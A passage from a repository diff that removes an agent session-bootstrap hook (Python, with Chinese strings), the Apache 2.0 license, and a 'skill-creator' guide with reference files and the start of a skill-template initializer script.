((obj.get("plugins") or {}).get("entries") or {}).get("memory-wiki") or {}
if isinstance(obj, dict)
else {}
)
raw = str((w or {}).get("wiki_root") or "").strip()
if not raw:
return default
p = Path(raw)
return p if p.is_absolute() else (repo_root / p).resolve()
except Exception:
return default
def _safe_read(path: Path, *, max_chars: int = 1200) -> str:
try:
txt = path.read_text(encoding="utf-8").strip()
except Exception:
return ""
if len(txt) <= max_chars:
return txt
return txt[:max_chars].rstrip() + "\n...(已截断)"
def _latest_memory_file(ws_dir: Path | None) -> Path | None:
if ws_dir is None:
return None
mem = ws_dir / "memory"
if not mem.exists():
return None
files = [p for p in mem.glob("*.md") if p.is_file()]
if not files:
return None
files.sort(key=lambda p: p.stat().st_mtime, reverse=True)
return files[0]
def _core_markdown_files(wiki_root: Path) -> list[Path]:
core_dir = wiki_root / "core"
if not core_dir.exists() or not core_dir.is_dir():
return []
files = [p for p in core_dir.glob("*.md") if p.is_file()]
files.sort(key=lambda p: p.name.lower())
return files
def _agent_role(event: Any) -> str:
ctx = getattr(event, "context", None)
if isinstance(ctx, dict):
rid = str(ctx.get("agentId") or "").strip().lower()
if rid:
return rid
return ""
def _role_markdown_files(wiki_root: Path, role_id: str) -> list[Path]:
rid = str(role_id or "").strip().lower()
if not rid:
return []
role_dir = wiki_root / "experts" / rid
if not role_dir.exists() or not role_dir.is_dir():
return []
files = [p for p in role_dir.glob("*.md") if p.is_file()]
files.sort(key=lambda p: p.name.lower())
return files
def _last_nonempty_line(text: str) -> str:
lines = [ln.strip() for ln in str(text or "").splitlines() if ln.strip()]
if not lines:
return ""
return lines[-1][:140]
def _extract_recent_learning(learnings_text: str) -> str:
lines = [ln.strip() for ln in str(learnings_text or "").splitlines() if ln.strip()]
for ln in reversed(lines):
if ln.startswith("## ["):
return ln.replace("## ", "", 1)[:140]
return _last_nonempty_line(learnings_text)
def _extract_recent_topic(memory_text: str) -> str:
lines = [ln.strip() for ln in str(memory_text or "").splitlines() if ln.strip()]
for ln in lines:
if ln.startswith("- **User**:"):
return ln.replace("- **User**:", "", 1).strip()[:140]
return _last_nonempty_line(memory_text)
def _build_bootstrap_content(event: Any) -> str:
ws_dir = _workspace_dir(event)
repo = _repo_root()
wiki = _wiki_root(repo)
soul = repo / "runtime" / "skills" / "session-bootstrap" / "SOUL.md"
ident = repo / "runtime" / "skills" / "session-bootstrap" / "IDENTITY.md"
mem_file = _latest_memory_file(ws_dir)
role_id = _agent_role(event)
core_files = _core_markdown_files(wiki)
role_files = _role_markdown_files(wiki, role_id)
learnings = wiki / "improvement" / "learnings.md"
errors = wiki / "improvement" / "errors.md"
feats = wiki / "improvement" / "feature-requests.md"
soul_txt = _safe_read(soul, max_chars=800)
ident_txt = _safe_read(ident, max_chars=800)
mem_txt = _safe_read(mem_file, max_chars=900) if mem_file else ""
core_lines: list[str] = []
for p in core_files:
snap = _safe_read(p, max_chars=500)
core_lines.append(f"### {p.name}\n{snap or '(缺失)'}")
core_txt = "\n\n".join(core_lines).strip()
role_lines: list[str] = []
for p in role_files:
snap = _safe_read(p, max_chars=500)
role_lines.append(f"### {p.name}\n{snap or '(缺失)'}")
role_txt = "\n\n".join(role_lines).strip()
lrn_txt = _safe_read(learnings, max_chars=900)
topic = _extract_recent_topic(mem_txt) or "近期项目上下文"
learning = _extract_recent_learning(lrn_txt) or "待补充新的关键学习"
developer = "开发者"
welcome = f"欢迎回来,{developer}。上次我们聊了{topic},我学到了{learning}。"
mem_path = str(mem_file) if mem_file else "(无)"
core_sources = ", ".join(str(p) for p in core_files) if core_files else "(无)"
role_sources = ", ".join(str(p) for p in role_files) if role_files else "(无)"
return (
"# 会话唤醒摘要\n\n"
f"{welcome}\n\n"
"## 读取顺序(必须遵循)\n"
"1. SOUL.md\n"
"2. IDENTITY.md\n"
"3. memory 最新记录\n"
"4. Wiki core 行为规则\n"
"5. Wiki 角色规则(如存在)\n"
"6. Wiki 改进记录\n\n"
"## 来源\n"
f"- SOUL: {soul}\n"
f"- IDENTITY: {ident}\n"
f"- memory 最新记录: {mem_path}\n"
f"- 当前角色: {role_id or '(未知)'}\n"
f"- Wiki core 规则文件: {core_sources}\n"
f"- Wiki 角色规则文件: {role_sources}\n"
f"- Wiki 学习记录: {learnings}\n"
f"- Wiki 错误记录: {errors}\n"
f"- Wiki 需求记录: {feats}\n\n"
"## SOUL 快照\n"
f"{soul_txt or '(缺失)'}\n\n"
"## IDENTITY 快照\n"
f"{ident_txt or '(缺失)'}\n\n"
"## 最近会话快照\n"
f"{mem_txt or '(缺失)'}\n\n"
"## Core 规则快照\n"
f"{core_txt or '(缺失)'}\n\n"
"## 角色规则快照\n"
f"{role_txt or '(缺失)'}\n\n"
"## 最近学习快照\n"
f"{lrn_txt or '(缺失)'}\n"
)
def _is_bootstrap_file(v: object) -> bool:
if not _is_record(v) or str(v.get("path")) != BOOT_PATH: # type: ignore[union-attr]
return False
row = v # type: ignore[assignment]
return bool(row.get("virtual") is True)
def handle(event: object) -> None:
if getattr(event, "type", None) != "agent" or getattr(event, "action", None) != "bootstrap":
return
ctx = getattr(event, "context", None)
if not isinstance(ctx, dict):
return
session_key = str(getattr(event, "sessionKey", "") or "")
if ":subagent:" in session_key:
return
files = ctx.get("bootstrapFiles")
if not isinstance(files, list):
return
content = _build_bootstrap_content(event)
occupied = any(_is_record(f) and str(f.get("path")) == BOOT_PATH and not _is_bootstrap_file(f) for f in files)
if occupied:
return
cleaned = [f for f in files if not _is_bootstrap_file(f)]
cleaned.append({"name": BOOT_NAME, "path": BOOT_PATH, "content": content, "missing": False, "virtual": True})
ctx["bootstrapFiles"] = cleaned

View file

@ -1,202 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View file

@ -1,356 +0,0 @@
---
name: skill-creator
description: Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.
license: Complete terms in LICENSE.txt
---
# Skill Creator
This skill provides guidance for creating effective skills.
## About Skills
Skills are modular, self-contained packages that extend Claude's capabilities by providing
specialized knowledge, workflows, and tools. Think of them as "onboarding guides" for specific
domains or tasks—they transform Claude from a general-purpose agent into a specialized agent
equipped with procedural knowledge that no model can fully possess.
### What Skills Provide
1. Specialized workflows - Multi-step procedures for specific domains
2. Tool integrations - Instructions for working with specific file formats or APIs
3. Domain expertise - Company-specific knowledge, schemas, business logic
4. Bundled resources - Scripts, references, and assets for complex and repetitive tasks
## Core Principles
### Concise is Key
The context window is a public good. Skills share the context window with everything else Claude needs: system prompt, conversation history, other Skills' metadata, and the actual user request.
**Default assumption: Claude is already very smart.** Only add context Claude doesn't already have. Challenge each piece of information: "Does Claude really need this explanation?" and "Does this paragraph justify its token cost?"
Prefer concise examples over verbose explanations.
### Set Appropriate Degrees of Freedom
Match the level of specificity to the task's fragility and variability:
**High freedom (text-based instructions)**: Use when multiple approaches are valid, decisions depend on context, or heuristics guide the approach.
**Medium freedom (pseudocode or scripts with parameters)**: Use when a preferred pattern exists, some variation is acceptable, or configuration affects behavior.
**Low freedom (specific scripts, few parameters)**: Use when operations are fragile and error-prone, consistency is critical, or a specific sequence must be followed.
Think of Claude as exploring a path: a narrow bridge with cliffs needs specific guardrails (low freedom), while an open field allows many routes (high freedom).
### Anatomy of a Skill
Every skill consists of a required SKILL.md file and optional bundled resources:
```
skill-name/
├── SKILL.md (required)
│ ├── YAML frontmatter metadata (required)
│ │ ├── name: (required)
│ │ └── description: (required)
│ └── Markdown instructions (required)
└── Bundled Resources (optional)
├── scripts/ - Executable code (Python/Bash/etc.)
├── references/ - Documentation intended to be loaded into context as needed
└── assets/ - Files used in output (templates, icons, fonts, etc.)
```
#### SKILL.md (required)
Every SKILL.md consists of:
- **Frontmatter** (YAML): Contains `name` and `description` fields. These are the only fields that Claude reads to determine when the skill gets used, thus it is very important to be clear and comprehensive in describing what the skill is, and when it should be used.
- **Body** (Markdown): Instructions and guidance for using the skill. Only loaded AFTER the skill triggers (if at all).
#### Bundled Resources (optional)
##### Scripts (`scripts/`)
Executable code (Python/Bash/etc.) for tasks that require deterministic reliability or are repeatedly rewritten.
- **When to include**: When the same code is being rewritten repeatedly or deterministic reliability is needed
- **Example**: `scripts/rotate_pdf.py` for PDF rotation tasks
- **Benefits**: Token efficient, deterministic, may be executed without loading into context
- **Note**: Scripts may still need to be read by Claude for patching or environment-specific adjustments
##### References (`references/`)
Documentation and reference material intended to be loaded as needed into context to inform Claude's process and thinking.
- **When to include**: For documentation that Claude should reference while working
- **Examples**: `references/finance.md` for financial schemas, `references/mnda.md` for company NDA template, `references/policies.md` for company policies, `references/api_docs.md` for API specifications
- **Use cases**: Database schemas, API documentation, domain knowledge, company policies, detailed workflow guides
- **Benefits**: Keeps SKILL.md lean, loaded only when Claude determines it's needed
- **Best practice**: If files are large (>10k words), include grep search patterns in SKILL.md
- **Avoid duplication**: Information should live in either SKILL.md or references files, not both. Prefer references files for detailed information unless it's truly core to the skill—this keeps SKILL.md lean while making information discoverable without hogging the context window. Keep only essential procedural instructions and workflow guidance in SKILL.md; move detailed reference material, schemas, and examples to references files.
##### Assets (`assets/`)
Files not intended to be loaded into context, but rather used within the output Claude produces.
- **When to include**: When the skill needs files that will be used in the final output
- **Examples**: `assets/logo.png` for brand assets, `assets/slides.pptx` for PowerPoint templates, `assets/frontend-template/` for HTML/React boilerplate, `assets/font.ttf` for typography
- **Use cases**: Templates, images, icons, boilerplate code, fonts, sample documents that get copied or modified
- **Benefits**: Separates output resources from documentation, enables Claude to use files without loading them into context
#### What to Not Include in a Skill
A skill should only contain essential files that directly support its functionality. Do NOT create extraneous documentation or auxiliary files, including:
- README.md
- INSTALLATION_GUIDE.md
- QUICK_REFERENCE.md
- CHANGELOG.md
- etc.
The skill should only contain the information needed for an AI agent to do the job at hand. It should not contain auxilary context about the process that went into creating it, setup and testing procedures, user-facing documentation, etc. Creating additional documentation files just adds clutter and confusion.
### Progressive Disclosure Design Principle
Skills use a three-level loading system to manage context efficiently:
1. **Metadata (name + description)** - Always in context (~100 words)
2. **SKILL.md body** - When skill triggers (<5k words)
3. **Bundled resources** - As needed by Claude (Unlimited because scripts can be executed without reading into context window)
#### Progressive Disclosure Patterns
Keep SKILL.md body to the essentials and under 500 lines to minimize context bloat. Split content into separate files when approaching this limit. When splitting out content into other files, it is very important to reference them from SKILL.md and describe clearly when to read them, to ensure the reader of the skill knows they exist and when to use them.
**Key principle:** When a skill supports multiple variations, frameworks, or options, keep only the core workflow and selection guidance in SKILL.md. Move variant-specific details (patterns, examples, configuration) into separate reference files.
**Pattern 1: High-level guide with references**
```markdown
# PDF Processing
## Quick start
Extract text with pdfplumber:
[code example]
## Advanced features
- **Form filling**: See [FORMS.md](FORMS.md) for complete guide
- **API reference**: See [REFERENCE.md](REFERENCE.md) for all methods
- **Examples**: See [EXAMPLES.md](EXAMPLES.md) for common patterns
```
Claude loads FORMS.md, REFERENCE.md, or EXAMPLES.md only when needed.
**Pattern 2: Domain-specific organization**
For Skills with multiple domains, organize content by domain to avoid loading irrelevant context:
```
bigquery-skill/
├── SKILL.md (overview and navigation)
└── reference/
├── finance.md (revenue, billing metrics)
├── sales.md (opportunities, pipeline)
├── product.md (API usage, features)
└── marketing.md (campaigns, attribution)
```
When a user asks about sales metrics, Claude only reads sales.md.
Similarly, for skills supporting multiple frameworks or variants, organize by variant:
```
cloud-deploy/
├── SKILL.md (workflow + provider selection)
└── references/
├── aws.md (AWS deployment patterns)
├── gcp.md (GCP deployment patterns)
└── azure.md (Azure deployment patterns)
```
When the user chooses AWS, Claude only reads aws.md.
**Pattern 3: Conditional details**
Show basic content, link to advanced content:
```markdown
# DOCX Processing
## Creating documents
Use docx-js for new documents. See [DOCX-JS.md](DOCX-JS.md).
## Editing documents
For simple edits, modify the XML directly.
**For tracked changes**: See [REDLINING.md](REDLINING.md)
**For OOXML details**: See [OOXML.md](OOXML.md)
```
Claude reads REDLINING.md or OOXML.md only when the user needs those features.
**Important guidelines:**
- **Avoid deeply nested references** - Keep references one level deep from SKILL.md. All reference files should link directly from SKILL.md.
- **Structure longer reference files** - For files longer than 100 lines, include a table of contents at the top so Claude can see the full scope when previewing.
## Skill Creation Process
Skill creation involves these steps:
1. Understand the skill with concrete examples
2. Plan reusable skill contents (scripts, references, assets)
3. Initialize the skill (run init_skill.py)
4. Edit the skill (implement resources and write SKILL.md)
5. Package the skill (run package_skill.py)
6. Iterate based on real usage
Follow these steps in order, skipping only if there is a clear reason why they are not applicable.
### Step 1: Understanding the Skill with Concrete Examples
Skip this step only when the skill's usage patterns are already clearly understood. It remains valuable even when working with an existing skill.
To create an effective skill, clearly understand concrete examples of how the skill will be used. This understanding can come from either direct user examples or generated examples that are validated with user feedback.
For example, when building an image-editor skill, relevant questions include:
- "What functionality should the image-editor skill support? Editing, rotating, anything else?"
- "Can you give some examples of how this skill would be used?"
- "I can imagine users asking for things like 'Remove the red-eye from this image' or 'Rotate this image'. Are there other ways you imagine this skill being used?"
- "What would a user say that should trigger this skill?"
To avoid overwhelming users, avoid asking too many questions in a single message. Start with the most important questions and follow up as needed for better effectiveness.
Conclude this step when there is a clear sense of the functionality the skill should support.
### Step 2: Planning the Reusable Skill Contents
To turn concrete examples into an effective skill, analyze each example by:
1. Considering how to execute on the example from scratch
2. Identifying what scripts, references, and assets would be helpful when executing these workflows repeatedly
Example: When building a `pdf-editor` skill to handle queries like "Help me rotate this PDF," the analysis shows:
1. Rotating a PDF requires re-writing the same code each time
2. A `scripts/rotate_pdf.py` script would be helpful to store in the skill
Example: When designing a `frontend-webapp-builder` skill for queries like "Build me a todo app" or "Build me a dashboard to track my steps," the analysis shows:
1. Writing a frontend webapp requires the same boilerplate HTML/React each time
2. An `assets/hello-world/` template containing the boilerplate HTML/React project files would be helpful to store in the skill
Example: When building a `big-query` skill to handle queries like "How many users have logged in today?" the analysis shows:
1. Querying BigQuery requires re-discovering the table schemas and relationships each time
2. A `references/schema.md` file documenting the table schemas would be helpful to store in the skill
To establish the skill's contents, analyze each concrete example to create a list of the reusable resources to include: scripts, references, and assets.
### Step 3: Initializing the Skill
At this point, it is time to actually create the skill.
Skip this step only if the skill being developed already exists, and iteration or packaging is needed. In this case, continue to the next step.
When creating a new skill from scratch, always run the `init_skill.py` script. The script conveniently generates a new template skill directory that automatically includes everything a skill requires, making the skill creation process much more efficient and reliable.
Usage:
```bash
scripts/init_skill.py <skill-name> --path <output-directory>
```
The script:
- Creates the skill directory at the specified path
- Generates a SKILL.md template with proper frontmatter and TODO placeholders
- Creates example resource directories: `scripts/`, `references/`, and `assets/`
- Adds example files in each directory that can be customized or deleted
After initialization, customize or remove the generated SKILL.md and example files as needed.
### Step 4: Edit the Skill
When editing the (newly-generated or existing) skill, remember that the skill is being created for another instance of Claude to use. Include information that would be beneficial and non-obvious to Claude. Consider what procedural knowledge, domain-specific details, or reusable assets would help another Claude instance execute these tasks more effectively.
#### Learn Proven Design Patterns
Consult these helpful guides based on your skill's needs:
- **Multi-step processes**: See references/workflows.md for sequential workflows and conditional logic
- **Specific output formats or quality standards**: See references/output-patterns.md for template and example patterns
These files contain established best practices for effective skill design.
#### Start with Reusable Skill Contents
To begin implementation, start with the reusable resources identified above: `scripts/`, `references/`, and `assets/` files. Note that this step may require user input. For example, when implementing a `brand-guidelines` skill, the user may need to provide brand assets or templates to store in `assets/`, or documentation to store in `references/`.
Added scripts must be tested by actually running them to ensure there are no bugs and that the output matches what is expected. If there are many similar scripts, only a representative sample needs to be tested to ensure confidence that they all work while balancing time to completion.
Any example files and directories not needed for the skill should be deleted. The initialization script creates example files in `scripts/`, `references/`, and `assets/` to demonstrate structure, but most skills won't need all of them.
#### Update SKILL.md
**Writing Guidelines:** Always use imperative/infinitive form.
##### Frontmatter
Write the YAML frontmatter with `name` and `description`:
- `name`: The skill name
- `description`: This is the primary triggering mechanism for your skill, and helps Claude understand when to use the skill.
- Include both what the Skill does and specific triggers/contexts for when to use it.
- Include all "when to use" information here - Not in the body. The body is only loaded after triggering, so "When to Use This Skill" sections in the body are not helpful to Claude.
- Example description for a `docx` skill: "Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. Use when Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks"
Do not include any other fields in YAML frontmatter.
##### Body
Write instructions for using the skill and its bundled resources.
### Step 5: Packaging a Skill
Once development of the skill is complete, it must be packaged into a distributable .skill file that gets shared with the user. The packaging process automatically validates the skill first to ensure it meets all requirements:
```bash
scripts/package_skill.py <path/to/skill-folder>
```
Optional output directory specification:
```bash
scripts/package_skill.py <path/to/skill-folder> ./dist
```
The packaging script will:
1. **Validate** the skill automatically, checking:
- YAML frontmatter format and required fields
- Skill naming conventions and directory structure
- Description completeness and quality
- File organization and resource references
2. **Package** the skill if validation passes, creating a .skill file named after the skill (e.g., `my-skill.skill`) that includes all files and maintains the proper directory structure for distribution. The .skill file is a zip file with a .skill extension.
If validation fails, the script will report the errors and exit without creating a package. Fix any validation errors and run the packaging command again.
### Step 6: Iterate
After testing the skill, users may request improvements. Often this happens right after using the skill, with fresh context of how the skill performed.
**Iteration workflow:**
1. Use the skill on real tasks
2. Notice struggles or inefficiencies
3. Identify how SKILL.md or bundled resources should be updated
4. Implement changes and test again

View file

@ -1,6 +0,0 @@
{
"ownerId": "kn7ajm25k9s5t1ajwxp2yfjx818015pb",
"slug": "skill-creator",
"version": "0.1.0",
"publishedAt": 1769522677376
}

View file

@ -1,82 +0,0 @@
# Output Patterns
Use these patterns when skills need to produce consistent, high-quality output.
## Template Pattern
Provide templates for output format. Match the level of strictness to your needs.
**For strict requirements (like API responses or data formats):**
```markdown
## Report structure
ALWAYS use this exact template structure:
# [Analysis Title]
## Executive summary
[One-paragraph overview of key findings]
## Key findings
- Finding 1 with supporting data
- Finding 2 with supporting data
- Finding 3 with supporting data
## Recommendations
1. Specific actionable recommendation
2. Specific actionable recommendation
```
**For flexible guidance (when adaptation is useful):**
```markdown
## Report structure
Here is a sensible default format, but use your best judgment:
# [Analysis Title]
## Executive summary
[Overview]
## Key findings
[Adapt sections based on what you discover]
## Recommendations
[Tailor to the specific context]
Adjust sections as needed for the specific analysis type.
```
## Examples Pattern
For skills where output quality depends on seeing examples, provide input/output pairs:
```markdown
## Commit message format
Generate commit messages following these examples:
**Example 1:**
Input: Added user authentication with JWT tokens
Output:
```
feat(auth): implement JWT-based authentication
Add login endpoint and token validation middleware
```
**Example 2:**
Input: Fixed bug where dates displayed incorrectly in reports
Output:
```
fix(reports): correct date formatting in timezone conversion
Use UTC timestamps consistently across report generation
```
Follow this style: type(scope): brief description, then detailed explanation.
```
Examples help Claude understand the desired style and level of detail more clearly than descriptions alone.

View file

@ -1,28 +0,0 @@
# Workflow Patterns
## Sequential Workflows
For complex tasks, break operations into clear, sequential steps. It is often helpful to give Claude an overview of the process towards the beginning of SKILL.md:
```markdown
Filling a PDF form involves these steps:
1. Analyze the form (run analyze_form.py)
2. Create field mapping (edit fields.json)
3. Validate mapping (run validate_fields.py)
4. Fill the form (run fill_form.py)
5. Verify output (run verify_output.py)
```
## Conditional Workflows
For tasks with branching logic, guide Claude through decision points:
```markdown
1. Determine the modification type:
**Creating new content?** → Follow "Creation workflow" below
**Editing existing content?** → Follow "Editing workflow" below
2. Creation workflow: [steps]
3. Editing workflow: [steps]
```

View file

@ -1,303 +0,0 @@
#!/usr/bin/env python3
"""
Skill Initializer - Creates a new skill from template
Usage:
init_skill.py <skill-name> --path <path>
Examples:
init_skill.py my-new-skill --path skills/public
init_skill.py my-api-helper --path skills/private
init_skill.py custom-skill --path /custom/location
"""
import sys
from pathlib import Path
SKILL_TEMPLATE = """---
name: {skill_name}
description: [TODO: Complete and informative explanation of what the skill does and when to use it. Include WHEN to use this skill - specific scenarios, file types, or tasks that trigger it.]
---
# {skill_title}
## Overview
[TODO: 1-2 sentences explaining what this skill enables]
## Structuring This Skill
[TODO: Choose the structure that best fits this skill's purpose. Common patterns:
**1. Workflow-Based** (best for sequential processes)
- Works well when there are clear step-by-step procedures
- Example: DOCX skill with "Workflow Decision Tree" → "Reading" → "Creating" → "Editing"
- Structure: ## Overview → ## Workflow Decision Tree → ## Step 1 → ## Step 2...
**2. Task-Based** (best for tool collections)
- Works well when the skill offers different operations/capabilities
- Example: PDF skill with "Quick Start" → "Merge PDFs" → "Split PDFs" → "Extract Text"
- Structure: ## Overview → ## Quick Start → ## Task Category 1 → ## Task Category 2...
**3. Reference/Guidelines** (best for standards or specifications)
- Works well for brand guidelines, coding standards, or requirements
- Example: Brand styling with "Brand Guidelines" → "Colors" → "Typography" → "Features"
- Structure: ## Overview → ## Guidelines → ## Specifications → ## Usage...
**4. Capabilities-Based** (best for integrated systems)
- Works well when the skill provides multiple interrelated features
- Example: Product Management with "Core Capabilities" → numbered capability list
- Structure: ## Overview → ## Core Capabilities → ### 1. Feature → ### 2. Feature...
Patterns can be mixed and matched as needed. Most skills combine patterns (e.g., start with task-based, add workflow for complex operations).
Delete this entire "Structuring This Skill" section when done - it's just guidance.]
## [TODO: Replace with the first main section based on chosen structure]
[TODO: Add content here. See examples in existing skills:
- Code samples for technical skills
- Decision trees for complex workflows
- Concrete examples with realistic user requests
- References to scripts/templates/references as needed]
## Resources
This skill includes example resource directories that demonstrate how to organize different types of bundled resources:
### scripts/
Executable code (Python/Bash/etc.) that can be run directly to perform specific operations.
**Examples from other skills:**
- PDF skill: `fill_fillable_fields.py`, `extract_form_field_info.py` - utilities for PDF manipulation
- DOCX skill: `document.py`, `utilities.py` - Python modules for document processing
**Appropriate for:** Python scripts, shell scripts, or any executable code that performs automation, data processing, or specific operations.
**Note:** Scripts may be executed without loading into context, but can still be read by Claude for patching or environment adjustments.
### references/
Documentation and reference material intended to be loaded into context to inform Claude's process and thinking.
**Examples from other skills:**
- Product management: `communication.md`, `context_building.md` - detailed workflow guides
- BigQuery: API reference documentation and query examples
- Finance: Schema documentation, company policies
**Appropriate for:** In-depth documentation, API references, database schemas, comprehensive guides, or any detailed information that Claude should reference while working.
### assets/
Files not intended to be loaded into context, but rather used within the output Claude produces.
**Examples from other skills:**
- Brand styling: PowerPoint template files (.pptx), logo files
- Frontend builder: HTML/React boilerplate project directories
- Typography: Font files (.ttf, .woff2)
**Appropriate for:** Templates, boilerplate code, document templates, images, icons, fonts, or any files meant to be copied or used in the final output.
---
**Any unneeded directories can be deleted.** Not every skill requires all three types of resources.
"""
EXAMPLE_SCRIPT = '''#!/usr/bin/env python3
"""
Example helper script for {skill_name}
This is a placeholder script that can be executed directly.
Replace with actual implementation or delete if not needed.
Example real scripts from other skills:
- pdf/scripts/fill_fillable_fields.py - Fills PDF form fields
- pdf/scripts/convert_pdf_to_images.py - Converts PDF pages to images
"""
def main():
print("This is an example script for {skill_name}")
# TODO: Add actual script logic here
# This could be data processing, file conversion, API calls, etc.
if __name__ == "__main__":
main()
'''
EXAMPLE_REFERENCE = """# Reference Documentation for {skill_title}
This is a placeholder for detailed reference documentation.
Replace with actual reference content or delete if not needed.
Example real reference docs from other skills:
